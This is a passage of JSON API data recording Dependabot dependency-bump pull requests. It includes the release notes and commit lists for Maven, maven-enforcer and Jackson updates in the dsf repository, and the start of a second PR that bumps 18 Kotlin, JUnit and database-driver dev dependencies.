href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.glassfish.jaxb:jaxb-runtime` from 4.0.7 to 4.0.8\n\nUpdates `org.thymeleaf:thymeleaf` from 3.1.4.RELEASE to 3.1.5.RELEASE\n\nUpdates `org.operaton.bpm:operaton-engine` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.3\n\nUpdates `org.apache.maven:maven-core` from 3.9.15 to 3.9.16\n\nUpdates `org.apache.maven:maven-plugin-api` from 3.9.15 to 3.9.16\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/apache/maven/releases\"\u003eorg.apache.maven:maven-plugin-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.16\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eTrim \u003ccode\u003ethreadConfiguration\u003c/code\u003e to accept input surrounded with spaces (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12042\"\u003e#12042\u003c/a\u003e) \u003ca href=\"https://github.com/slawekjaranowski\"\u003e\u003ccode\u003e@​slawekjaranowski\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBackport: Maven 3.10.x fixed plugin resolution (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12022\"\u003e#12022\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📦 Dependency updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump org.codehaus.plexus:plexus-classworlds from 2.9.0 to 2.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12039\"\u003e#12039\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[3.9.x] Bump to parent POM 48 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12024\"\u003e#12024\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11980\"\u003e#11980\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump com.google.guava:guava from 33.5.0-jre to 33.6.0-jre (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11951\"\u003e#11951\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump actions/cache from 5.0.4 to 5.0.5 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11943\"\u003e#11943\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/2bdd9fddda4b155ebf8000e807eb73fd829a51d5\"\u003e\u003ccode\u003e2bdd9fd\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release maven-3.9.16\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/229e9d704610317c9d75dae6318d8938f56c8156\"\u003e\u003ccode\u003e229e9d7\u003c/code\u003e\u003c/a\u003e Trim \u003ccode\u003ethreadConfiguration\u003c/code\u003e to accept input surrounded with spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7d5fd941ca3940433f90b41daf3cc4985e84fb01\"\u003e\u003ccode\u003e7d5fd94\u003c/code\u003e\u003c/a\u003e Bump org.codehaus.plexus:plexus-classworlds from 2.9.0 to 2.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/12039\"\u003e#12039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/0d100e5e6d28223d1b3d7fe0880f4ca894147fe5\"\u003e\u003ccode\u003e0d100e5\u003c/code\u003e\u003c/a\u003e [3.9.x] Bump to parent POM 48 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/12024\"\u003e#12024\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7ae79358cb31539255da6adf2c17c6567f35e0ca\"\u003e\u003ccode\u003e7ae7935\u003c/code\u003e\u003c/a\u003e Backport: Maven 3.10.x fixes plugin resolution, by putting user in charge (\u003ca href=\"https://redirect.github.com/apache/maven/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/86fc95bf757835e936d36e5d9d25dc430b3dcb29\"\u003e\u003ccode\u003e86fc95b\u003c/code\u003e\u003c/a\u003e Bump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11980\"\u003e#11980\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/029557a5ae6c4ed2f03b36e890d62077e4a4d74b\"\u003e\u003ccode\u003e029557a\u003c/code\u003e\u003c/a\u003e Bump com.google.guava:guava from 33.5.0-jre to 33.6.0-jre (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11951\"\u003e#11951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/b5250f25a994a8cb7486b0b860ca4229307603b4\"\u003e\u003ccode\u003eb5250f2\u003c/code\u003e\u003c/a\u003e Bump actions/cache from 5.0.4 to 5.0.5 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11943\"\u003e#11943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7ef2c23256d5c4148e1ebc34504f44eb2ca218e8\"\u003e\u003ccode\u003e7ef2c23\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/apache/maven/compare/maven-3.9.15...maven-3.9.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.apache.maven.plugins:maven-enforcer-plugin` from 3.6.2 to 3.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/apache/maven-enforcer/releases\"\u003eorg.apache.maven.plugins:maven-enforcer-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.6.3\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003e🚀 New features and improvements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMake bannedDependencies report root and transitive dependency in case both are banned. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/940\"\u003e#940\u003c/a\u003e) \u003ca href=\"https://github.com/hvoynov\"\u003e\u003ccode\u003e@​hvoynov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd enforceBytecodeVersion rule based on mojohaus (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/968\"\u003e#968\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove formatting of deprecated API warning (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/951\"\u003e#951\u003c/a\u003e) \u003ca href=\"https://github.com/mthmulders\"\u003e\u003ccode\u003e@​mthmulders\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix handling of Java versions like 21.0.10.0.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/967\"\u003e#967\u003c/a\u003e) \u003ca href=\"https://github.com/parttimenerd\"\u003e\u003ccode\u003e@​parttimenerd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd null checks for modelId in PluginWrapper (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/974\"\u003e#974\u003c/a\u003e) \u003ca href=\"https://github.com/cpfeiffer\"\u003e\u003ccode\u003e@​cpfeiffer\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📝 Documentation updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDocument the banMavenDefaults option for the requirePluginVersions rule. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/936\"\u003e#936\u003c/a\u003e) \u003ca href=\"https://github.com/rpkrajewski\"\u003e\u003ccode\u003e@​rpkrajewski\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e👻 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ePlexusStringUtils\u003c/code\u003e Refaster recipes (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/943\"\u003e#943\u003c/a\u003e) \u003ca href=\"https://github.com/slachiewicz\"\u003e\u003ccode\u003e@​slachiewicz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJUnit Jupiter migration from JUnit 4.x (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/941\"\u003e#941\u003c/a\u003e) \u003ca href=\"https://github.com/slachiewicz\"\u003e\u003ccode\u003e@​slachiewicz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📦 Dependency updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump org.apache.logging.log4j:log4j-core from 2.25.3 to 2.25.4 in /maven-enforcer-plugin/src/it/projects/MENFORCER-434 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/970\"\u003e#970\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDeps: Parent POM 48 and align deps (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/979\"\u003e#979\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.21.0 to 1.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/976\"\u003e#976\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/975\"\u003e#975\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.14 to 3.9.15 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/973\"\u003e#973\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.13 to 3.9.14 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/965\"\u003e#965\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.12 to 3.9.13 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/964\"\u003e#964\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven.plugin-testing:maven-plugin-testing-harness from 3.5.0 to 3.5.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/963\"\u003e#963\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate log4j in test to avoid CVE (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/961\"\u003e#961\u003c/a\u003e) \u003ca href=\"https://github.com/Bukama\"\u003e\u003ccode\u003e@​Bukama\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.20.0 to 1.21.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/962\"\u003e#962\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.assertj:assertj-core from 3.27.6 to 3.27.7 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/960\"\u003e#960\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.codehaus.mojo:mrm-maven-plugin from 1.7.0 to 1.7.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/959\"\u003e#959\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven:maven-parent from 46 to 47 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/958\"\u003e#958\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.codehaus.plexus:plexus-archiver from 4.10.4 to 4.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/957\"\u003e#957\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate to 46 including fixes (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/955\"\u003e#955\u003c/a\u003e) \u003ca href=\"https://github.com/Bukama\"\u003e\u003ccode\u003e@​Bukama\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven.plugin-testing:maven-plugin-testing-harness from 3.3.0 to 3.5.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/956\"\u003e#956\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.11 to 3.9.12 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/948\"\u003e#948\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.commons:commons-lang3 from 3.19.0 to 3.20.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/947\"\u003e#947\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.20.0 to 2.21.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/946\"\u003e#946\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.19.0 to 1.20.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/945\"\u003e#945\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/c7daff33d46c9c3ee0666540c6857c66cf159e70\"\u003e\u003ccode\u003ec7daff3\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release enforcer-3.6.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/ee46e78b046be9882a739c07556940329a7345d6\"\u003e\u003ccode\u003eee46e78\u003c/code\u003e\u003c/a\u003e Make bannedDependencies report root and transitive dependency in case both ar...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/0806924d8f6c5ad6105ac387bf323846e769b18c\"\u003e\u003ccode\u003e0806924\u003c/code\u003e\u003c/a\u003e Document the banMavenDefaults option for the requirePluginVersions rule. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/936\"\u003e#936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/8e4f5b94453de97592cf3935b79319894f013329\"\u003e\u003ccode\u003e8e4f5b9\u003c/code\u003e\u003c/a\u003e Add better enforceBytecodeVersion rule based on mojohaus (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/968\"\u003e#968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/fd4b1486dcc93394d5f6a11687efd51d0d30b22d\"\u003e\u003ccode\u003efd4b148\u003c/code\u003e\u003c/a\u003e Add fix for 21.0.10.0.1 issue (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/967\"\u003e#967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/f32d5979ef387668162c2beb905b368e25accd70\"\u003e\u003ccode\u003ef32d597\u003c/code\u003e\u003c/a\u003e Deps: Parent POM 48 and align deps (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/979\"\u003e#979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/df0f2a6d7fbbaf79914cdb56fa5899d99c8eaf19\"\u003e\u003ccode\u003edf0f2a6\u003c/code\u003e\u003c/a\u003e Bump commons-codec:commons-codec from 1.21.0 to 1.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/976\"\u003e#976\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/2da7a68b4d8d9d2da866ffaf1e07a206c9b7115d\"\u003e\u003ccode\u003e2da7a68\u003c/code\u003e\u003c/a\u003e Add null checks for modelId in PluginWrapper\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/91eb4d9fe1f6f65137991c1131131ceaca542245\"\u003e\u003ccode\u003e91eb4d9\u003c/code\u003e\u003c/a\u003e Bump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/975\"\u003e#975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/b6222459bf3256bfd747731a7f4ea81577777ffe\"\u003e\u003ccode\u003eb622245\u003c/code\u003e\u003c/a\u003e Bump mavenVersion from 3.9.14 to 3.9.15 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/973\"\u003e#973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/apache/maven-enforcer/compare/enforcer-3.6.2...enforcer-3.6.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/datasharingframework/dsf/pull/506","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/datasharingframework%2Fdsf/issues/506","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/506/packages"},{"uuid":"4508139664","node_id":"PR_kwDOKGJCZc7enkBQ","number":218,"state":"open","title":"Bump the dev-dependencies group across 1 directory with 18 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-23T12:34:57.000Z","updated_at":"2026-05-23T19:35:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"dev-dependencies","update_count":18,"packages":[{"name":"org.jetbrains.kotlin.jvm","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.junit:junit-bom","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.vintage:junit-vintage-engine","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.h2database:h2","old_version":"2.3.232","new_version":"2.4.240","repository_url":"https://github.com/h2database/h2database"},{"name":"com.fasterxml.jackson.module:jackson-module-kotlin","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-module-kotlin"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"io.insert-koin:koin-bom","old_version":"4.1.1","new_version":"4.2.1","repository_url":"https://github.com/InsertKoinIO/koin"},{"name":"io.insert-koin:koin-annotations","old_version":"2.3.1","new_version":"4.2.1","repository_url":"https://github.com/InsertKoinIO/koin"},{"name":"org.jetbrains.kotlin:kotlin-reflect","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"com.google.devtools.ksp:com.google.devtools.ksp.gradle.plugin","old_version":"2.3.6","new_version":"2.3.8","repository_url":"https://github.com/google/ksp"},{"name":"com.google.devtools.ksp","old_version":"2.3.6","new_version":"2.3.8","repository_url":"https://github.com/google/ksp"},{"name":"com.oracle.database.jdbc:ojdbc11","old_version":"23.26.1.0.0","new_version":"23.26.2.0.0"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.jetbrains.dokka:dokka-gradle-plugin","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/Kotlin/dokka"},{"name":"com.diffplug.spotless","old_version":"8.4.0","new_version":"8.5.1"}],"path":null,"ecosystem":"maven"},"body":"Bumps the dev-dependencies group with 18 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin.jvm](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [org.junit:junit-bom](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.vintage:junit-vintage-engine](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [com.h2database:h2](https://github.com/h2database/h2database) | `2.3.232` | `2.4.240` |\n| [com.fasterxml.jackson.module:jackson-module-kotlin](https://github.com/FasterXML/jackson-module-kotlin) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| [io.insert-koin:koin-bom](https://github.com/InsertKoinIO/koin) | `4.1.1` | `4.2.1` |\n| [io.insert-koin:koin-annotations](https://github.com/InsertKoinIO/koin) | `2.3.1` | `4.2.1` |\n| [org.jetbrains.kotlin:kotlin-reflect](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [com.google.devtools.ksp:com.google.devtools.ksp.gradle.plugin](https://github.com/google/ksp) | `2.3.6` | `2.3.8` |\n| [com.google.devtools.ksp](https://github.com/google/ksp) | `2.3.6` | `2.3.8` |\n| com.oracle.database.jdbc:ojdbc11 | `23.26.1.0.0` | `23.26.2.0.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [org.jetbrains.dokka:dokka-gradle-plugin](https://github.com/Kotlin/dokka) | `2.1.0` | `2.2.0` |\n| com.diffplug.spotless | `8.4.0` | `8.5.1` |\n\n\nUpdates `org.jetbrains.kotlin.jvm` from 2.3.20 